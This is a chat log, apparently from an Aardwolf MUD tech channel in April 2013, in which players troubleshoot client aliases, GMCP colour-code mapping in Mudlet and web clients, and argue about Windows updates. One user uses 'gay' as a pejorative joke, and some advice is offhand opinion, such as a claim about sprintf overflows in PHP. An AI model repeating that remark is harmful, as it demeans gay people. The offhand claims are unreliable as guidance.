T3/r7/2013-04-06.txt.gz:{chan ch=tech}Ixle Tech: You wouldn't be building a phone, just changing a speed-dial button.
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Vonliege Tech: I suppose... it was a pretty weak analogy
T3/r7/2013-04-06.txt.gz:{chan ch=tech}TrEz Tech: if I got sprintf('City: %30s',$city)
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Elkore Tech: is that lua?
T3/r7/2013-04-06.txt.gz:{chan ch=tech}TrEz Tech: no it's php but
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Jhav Tech: ... errr
T3/r7/2013-04-06.txt.gz:{chan ch=tech}TrEz Tech: I think I'm using the padding onthe wrong stuff :p
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Jhav Tech: sprintf is one of those functions that should be AVOIDED LIKE THE PLAGUE.
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Jhav Tech: Unless Lua prevents buffer overflows.
T3/r7/2013-04-06.txt.gz:{chan ch=tech}TrEz Tech: what else should I use
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Jhav Tech: String concat.
T3/r7/2013-04-06.txt.gz:{chan ch=tech}TrEz Tech: it's php tho, not mud related
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Jhav Tech: Err, php.
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: anyone know how to set the contents of a variable from a mushclient alias?
T3/r7/2013-04-06.txt.gz:{chan ch=tech}TrEz Tech: how do you add dynamic padding with concat tho
T3/r7/2013-04-06.txt.gz:{chan ch=tech}TrEz Tech: also outlook might be displaying it crappy
T3/r7/2013-04-06.txt.gz:{chan ch=tech}TrEz Tech: rather than it being an issue with the print
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Berzebub Tech: hi help plz
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Ixle Tech: You'll have to ask a question for that to be possible.
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Elkore Tech: help - i need somebody - help - really need somebody - help!!!!
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Ranrr Tech: ask the google
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Berzebub Tech: how I do a simple alias on androids
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Ranrr Tech: help alias
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Ranrr Tech: works with any client
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Berzebub Tech: I done alias but when I use work only first command
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Grissom Tech: insert two ;
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Berzebub Tech: I insert
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Berzebub Tech: soo
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Berzebub Tech: so will someone help
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Grissom Tech: what to you what alias
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Grissom Tech: do*
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Berzebub Tech: hide&sneak but take only first command place
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Grissom Tech: ok try alias hs hide;
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Grissom Tech: ok try alias hs hide two 
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Nuanse Tech: alias hs hide;;sneak
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Grissom Tech: ok try alias hs hide two ; sneak
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Berzebub Tech: I have done this already 
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Nuanse Tech: grissom use ; first in the line before any other command and it shows rest normally
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Grissom Tech: i just did it and it worked fine 
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Grissom Tech: alias hs hide;;sneak
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Berzebub Tech: I do.alias hs sneak 
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Grissom Tech: how you typed it exactly as i did
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Grissom Tech: have*
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Berzebub Tech: yes no work 
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Grissom Tech: what does it give you when you try the way i typed it
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Berzebub Tech: may I put not between hide and sneak semi colons but other symbol
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Berzebub Tech: I think the prob is in semi colon
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Berzebub Tech: what to do pal?
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Berzebub Tech: when I do this.it says to me now.hs is alias.to hide  but not to hide and to sneak
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Grissom Tech: i looked on my phone the only i can get it work is to bring up the options menu then click on aliases and then type the aliases
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Berzebub Tech: option of the client where is there alias
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Grissom Tech: what phone are you using
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Berzebub Tech: I find it but again only hide whow I right there correct
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Grissom Tech: ok where it says replace word type hs where it says replace with this type hide;sneak
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Berzebub Tech: again two semi colons between?
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Grissom Tech: no
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Berzebub Tech: waxaxaxaxa finally!!!!! ffs
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Berzebub Tech: Ty man Ty Ty ty
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Grissom Tech: no prob
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Berzebub Tech: I'm happy go duel
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Berzebub Tech: ok guys cu later have a nice day
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Grissom Tech: you too
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Berzebub Tech: if need something in really life just ask
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Daagar Tech: Why does GMCP 'stop' when walking into Gaardian?
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: it doesn't?
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Daagar Tech: Well, it no longer updates gmcp.room.info correctly
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Daagar Tech: It still shows me on 'North of the Grand Plaza' in aylor.
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I can't replicate it, sorry.
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Daagar Tech: No kidding? From this room, gmcp.room.info shows you in the correct room?
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Tech: Helperful Cheezburger nods.
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Tech: Daagar boggles at the concept.
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Leinei Tech: Nods, works fine for me in Gaardian, too
T3/r7/2013-04-06.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: have you tried to re-install the mapper?
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Daagar Tech: I'm actually in mudlet. This is the first place I've seen where it doesn't update correctly - no issues with many other areas
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Leinei Tech: Even other clan areas?
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Daagar Tech: Oh, let me try a different one
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Leinei Tech: Clan rooms look a little different than other rooms
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Tech: Helperful Cheezburger nods at Leinei.
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Leinei Tech: See the last part of "Aardwolf Room. modules" on this page: http://www.aardwolf.com/wiki/index.php/Clients/GMCP
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Least open halls were changed to mappable, that was pretty annoying before
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Daagar Tech: Sure enough, crusaders is not sending me an updated gmcp.room.info either
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Leinei Tech: Are you sure it's not sending it?
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Leinei Tech: Or just not in the "right" format?
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Or you're just not catching it?
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Tech: Leinei nods at Helperful Cheezburger.
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Daagar Tech: Fairly sure, as I'm displaying exactly what mudlet is catching
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: exactly, what it's catching :P
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Daagar Tech: in mudlet, this is via the "lua display(gmcp.room.info)" command
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: if the structure doesn't match, it can't catch it to show it to you
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Leinei Tech: Do you have a way to send gmcp commands?
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Daagar Tech: I do
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Leinei Tech: send "request room"
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Leinei Tech: See if that gives you anything
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Daagar Tech: Hmm, no change. I wonder if mudlet itself is not catching things somehow. I'll work out how to turn gmcp debug mode on
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Yeah, see if you can turn on raw display. I'm fairly sure it's still sending it to you
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Leinei Tech: Try sending "debug on" ("debug off" to turn it back off).  That'll show you any errors you might be getting
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Leinei Tech: I think...never actually used it
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I didn't either, i just used client side debugs
T3/r7/2013-04-06.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: i thought it was gmcp debug 1to turn on debug
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Daagar Tech: it is 'protocol gmcp debug' actually :)
T3/r7/2013-04-06.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: withought the space
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Leinei Tech: either should work
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Leinei Tech: yours is a mud command, though
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Daagar Tech: Yeah, appears there are multiple ways to do it
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Daagar Tech: Well, I'm stumped. :) I suspect aard is sending gmcp room info just slightly differently in clan areas, and mudlet doesn't catch it right. I might need to go to the test port and try. Thanks for the help guys.
T3/r7/2013-04-06.txt.gz:{chan ch=tech}BlueBeetle Tech: well naturally clan areas are nomap so...
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Tech: clans can choose whether or not you get any GMCP info per room
T3/r7/2013-04-06.txt.gz:{chan ch=tech}BlueBeetle Tech: for most part
T3/r7/2013-04-06.txt.gz:{chan ch=tech}BlueBeetle Tech: ur best bet is to make cexits to portions u use
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Daagar Tech: Yeah, but others confirmed that at least for gaardian, they gmcp info is there
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Yeah, the room where he noticed it in gaardian does send GMCP though
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Ranrr Tech: Yeah, and I checked crusaders too.
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Tech: does mudlet automatically add new areas the first time you enter them, and are there any special characters in the rooms?
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Ranrr Tech: So it's most likely a client issue.
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Just colors, Abe
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Tech: true, have you tried other rooms which have colored names?
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Tech: that could be the very issue
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I wonder if the mudlet interface isn't handling the meta colors correctly
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Daagar Tech: Ah... I need to find one
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Daagar Tech: any suggestions of a room to try that isn't a clan area?
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: There's one area full of them, just can't remember the name right now :P The one where you harmonize to get in
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Ranrr Tech: palace of song
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: that's it
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: total brain fart :P
T3/r7/2013-04-06.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: yeah lol
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Daagar Tech: Laf, the trouble of being a total noob. That's a lvl 30 area. hehe
T3/r7/2013-04-06.txt.gz:{chan ch=tech}@GHelperful Cheezburger Tech@w: @cIf you want I'll go clear any aggros so you can test, give me until after 2x though@w
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Tech: it's level locked, aggros aren't the issue
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: oh, right
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Tech: daagar, try going to the room 2s of recall, I'll create a nexus for you to a room by my manor
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Tech: now enter nexus
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Daagar Tech: bingo sir. The first room worked fine, your room fails. It is something with the colors.
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Tech: cool
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Daagar Tech: I'll run this past the mudlet devs. Thanks for the help!
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Least now you know the root issue
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Tech: there's a command to tell aard to send GMCP info using aard's @abc color codes rather than in ANSI codes, but that'd send everything that way
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Tech: it essentially makes GMCP stuff look like when you type "rawcolors"
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Daagar Tech: If I did it right, I already tried toggling that option to no avail
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Vonliege Tech: 199 of them are Nutela-based
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Tech: hmm, interesting...that SHOULD at least make them mappable, although the roomnames would be funky with the codes
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Daagar Tech: oh ho! I didn't do it right
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Daagar Tech: That fixed it. Huzzah
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Daagar Tech: That was indeed it. Getting the bc style works fine. It is tripping over ANSI.
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Tech: maybe leave that setting off except when you see that a room isn't getting mapped right,cuz you really don't want those codes as the normal part of the roomname
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Daagar Tech: No worries, easy enough to strip them via code too
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Tech: nod, not sure your code comfort level ;-)
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Daagar Tech: Much thanks!
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Tech: in my client, I use /check_room_info $[decode_ansi(%-1)] to turn the ANSI codes into the client's display attributes
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Tech: because GMCP is control characters, it's not really meant [at the telnet core side] for special stuff like that
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Daagar Tech: Well this is sad. I _already_ figured this out in years past. I have sendGMCP("rawcolor on") explicitly defined. It somehow stopped getting called. Argh.
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Tech: Ranrr comforts Daagar.
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Daagar Tech: I must have been trying to call it before being fully connected to the mud, so it wasn't taking hold. Sigh.
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Mattk Tech: my question mark is doing this instead É anyone know how to fix it
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Xaeris Tech: Change your keyboard language from Canadian French to US/English.
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Mattk Tech: hmm and how do i do that lol it wasnt like this before
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Tech: is there any icon between where your programs show and the part where the clock is?
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Tech: when you right-click a blank part of that taskbar, go to toolbars, look for the language bar...you can use that to hide/show the language bar which gives you quick access to changing languages (I remove all but English to avoid accidents)
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Gwa'ra'ri Atlanta Tech: there's a keyboard shortcut too.  I think the default is alt+shift.  one might hit it by accident while trying a mush shortcut?
T3/r7/2013-04-06.txt.gz:{chan ch=tech}BobTheGreat Tech: Would it be possible to connect to Aardwolf through a WebSocket?
T3/r7/2013-04-06.txt.gz:{chan ch=tech}BobTheGreat Tech: Whenever I try to use the send() function, it gives me DOM Exception 11, on Chrome
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Tech: you can only connect to aard through telnet
T3/r7/2013-04-06.txt.gz:{chan ch=tech}BobTheGreat Tech: Ah, some googles reveal that the MUD has to specifically support WebSocket connections. Wish I could write a client in pure HTML5/JavaScript :/
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Tech: those already exist
T3/r7/2013-04-06.txt.gz:{chan ch=tech}BobTheGreat Tech: What's it called? I've never seen one.
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Tech: one of the tools which Lasher has available to play Aard from the web right on Aard's site, the current version of it is an extensible client
T3/r7/2013-04-06.txt.gz:{chan ch=tech}BobTheGreat Tech: All I see is fmud, java, and the telnet link
T3/r7/2013-04-06.txt.gz:{chan ch=tech}BobTheGreat Tech: Oh, thought you meant it was linked from the aardwolf website, never mind
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Tech: yes, and either fmud or jmud have that functionality
T3/r7/2013-04-06.txt.gz:{chan ch=tech}BobTheGreat Tech: but they're not pure HTML5/JavaScript
T3/r7/2013-04-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: someone started writing a pure html javascript client a while ago
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Tech: javascript/non-java would be a horrible implementation IMO
T3/r7/2013-04-06.txt.gz:{chan ch=tech}BobTheGreat Tech: why is that?
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Tech: oh, and it was fmud and not jta which has the client features...http://bc-dev.net/projects/fmud/
T3/r7/2013-04-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: there is a hack javascript telnet library called jsTerm
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Scurvy Tech: "hack javascript" is redundant
T3/r7/2013-04-06.txt.gz:{chan ch=tech}BobTheGreat Tech: jsTerm gives me DOM Exception 11 when trying to connect to Aard
T3/r7/2013-04-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: there's also JavaSocketBridge, which is probably saner
T3/r7/2013-04-06.txt.gz:{chan ch=tech}BobTheGreat Tech: Oh, and it says that jsTerm connects to a node.js proxy, so it's not exactly what I was looking for
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Tech: bob, try this for starters: http://decafmud.stendec.me/
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Tech: the guy that wrote that was messing around on Aard as Ronus
T3/r7/2013-04-06.txt.gz:{chan ch=tech}BobTheGreat Tech: Cool!
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Tech: btw, aard has a native (non-node.js proxied) websockets interface built into the MUD's code, but it's firewalled off as a WIP...we'll see if websockets ever gets the traction for it to matter enough to be opened...
T3/r7/2013-04-06.txt.gz:{chan ch=tech}BobTheGreat Tech: I see great potential in web-based clients in the future
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: agreed
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Tech: you don't need websockets for web-based clients...they're not the same thing
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: or even mobile based-web interfaces for new ground on mobile mud usage.
T3/r7/2013-04-06.txt.gz:{chan ch=tech}BobTheGreat Tech: But it would be awesome to have a 100% clientside pure js client IMO
T3/r7/2013-04-06.txt.gz:{chan ch=tech}BobTheGreat Tech: For aard, that is
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: With HTML rendering like MXP
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Tech: not worth the bother IMO
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Tech: you're either bloating up a browser or you don't have persistance
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Silent Noro Tech: Ok, so I closed my EQ window from the bast plugins on Mush, and mneq eq front, mneq eq show, and mneq eq reset isn't bringing it back, anyone able to help me fix it?
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Nuanse Tech: have you tried to reload eqwin plugin?
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Silent Noro Tech: .. not yet. :/
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Silent Noro Tech: hah, yeah. I should think of these things before I go asking questions. Thanks, Nuanse. :)
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Tech: Nuanse smiles happily.
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Tigernuts Tech: meh, got to go work out why my friends' computer is misbehaving
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Tigernuts Tech: vista64 machine that suffers from terrible slowness, microsoft office programs misbehave, lockups, large volume of error logs being generated
T3/r7/2013-04-07.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Virus evident?
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Ranrr Tech: He just said there was, vista64
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: if you finally decided to upgrade your machine, you made the wrong choice
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Tigernuts Tech: not mine
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Tigernuts Tech: mine works because it's not new :-)
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: get him a w7 upgrade. that's all there is to it
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Tigernuts Tech: her
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Tigernuts Tech: been thinking that, as it goes
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Grissom Tech: how do insert a variable name into a trigger like door is closed but the door part is not set so that the trigger only checks for the is closed part
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Grissom Tech: if that makes sense in mush
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Elkore Tech: i have an alias called "oa" which opens every door in all 6 directions
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Grissom Tech: me too but i want a trigger to open the doors if i encounter one 
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Elkore Tech: im not sure what the problem is .. you want to trigger off a message like "Magical wards around the metal door bounce you back."?
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: So I've been ignoring windows 8 since I tried out the initial dev release and threw up in my mouth... but I just learned Server 2012 got Metro... wtf is Microsoft thinking?
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Tigernuts Tech: they want everyone worldwide to be gay
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: how quickly can we put ourselves out of business so we can be bought by someone else
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: And now I hear Windows Blue isn't going to be the new 7 :-(
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Tigernuts Tech: don't forget Microsoft have been rolling out their "use windows update to screw up older versions of windows to force people to upgrade" program
T3/r7/2013-04-07.txt.gz:{chan ch=tech}WarPigs Tech: citation needed?
T3/r7/2013-04-07.txt.gz:{chan ch=tech}WarPigs Tech: Where can I find that information?
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Considering that would be illegal, and there are hordes of Mac and *nix fanbois just waiting for an excuse to stick it to M$, that is unlikely to the point of 'haha tiggr talking bs again'
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Tigernuts Tech: it's not deliberate, it's carelessness
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Tigernuts Tech: the constant-update model lends itself to instability
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Tigernuts Tech: which, if you have ever been reliant on a commercial product in business, you will know to be true
T3/r7/2013-04-07.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Still, differences in version need not be that dramatic.
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: The constant update model wut? The anything-not-constant-update model leads to exploits running amok.
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Tigernuts Tech: thats why the first thing you should do if you need your apps to work properly is turn off the automatic updates
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Tigernuts Tech: office 2007 is particularly bad, many oracle products have equally flawed update models
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Tiggr, I hope if I ever find myself in the black hat industry I am up against you :-P
T3/r7/2013-04-07.txt.gz:{chan ch=tech}WarPigs Tech: You can choose to update or not. The "not" option is far worse, IMO.
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Vonliege Tech: only worse if yo conceed that the original product was flawed, and that it shipped pre-complete
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Tigernuts Tech: not true, you turn off AUTOMATIC updates and you install them at a time of your choosing where you can appraise the update and roll back if needed
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Tigernuts Tech: releases are inevitably flawed. constant update models mean it's almost certain to be flawed as they release frequently safe in the knowledge they can patch it mid-cycle
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: The 'automatic' updates run to a quite specific schedule, bar emergency patches
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: And anyone who reads 'stable release' and expects no bugs is delusional
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Vonliege Tech: given the modern software roll-out model, companies HAVE to get their product out the door wether it's ready or not... so they patch it on the fly.  Sort of like how your mom used to tease out her hair on the way to church.
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It is a war of probabilities - the probability of an exploit is higher than the probability of a bug, factoring in damage estimates
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Tigernuts Tech: that's situation-contigent and is more often not true that true
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Tigernuts Tech: than
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It has nothing to do with rushed software fundamentally, though that is itself an issue - it has more to do with software not existing in a vacuum
T3/r7/2013-04-07.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: You're assuming my mom actually went out to church..
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Vonliege Tech: statistically (FOX news), 90% of you went to church (in the US) as children... wether you admit it or not
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: And I can tell you straight up so long as you have regular backups, there is simply no contest between bug and exploit.
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Vonliege Tech: but I digress... that's an issue for the debate channel... sorry
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Tigernuts Tech: not true, vakieh
T3/r7/2013-04-07.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: ...I'm not from the US.
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Vonliege, Fox news didn't interview the most of the people who aren't in the US
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Totally true
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Tigernuts Tech: it's not
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: What can a bug do that an application rollback or a backup restore cannot fix? Conversely, what can an exploit do?
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: There is simply no contest for personal OR business use
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Tigernuts Tech: take an example, you want your webserver to have all the latests exploit fixes upto date as security is a priority over bugs. Take a counterexample of a works desktop, having hours of work time screwed up because the latest pushed update messes everything up is not helpful, i don't care about exploits as there is nothing sensitive to be stolen
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Tigernuts Tech: it's context-dependant
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Any sane person will take the possibility of a ctd or corrupted data (which is backed up) over the possibility of Mr Ukraine getting their bank details, or competitor xyz getting into a private intranet
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Tigernuts Tech: why is your personal bank details on your work desktop?
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: A works desktop means what? A workstation? A desktop running Microsoft Works? Loss of productivity is minimal so long as you are following good backup and maintenance practices.
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Or do you mean work's?
T3/r7/2013-04-07.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: There was no 's'...
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Tigernuts Tech: the equivalent is preferring a car with great security over one that actually runs without breaking down every 5 minutes
T3/r7/2013-04-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: >>ake a counterexample of a works desktop
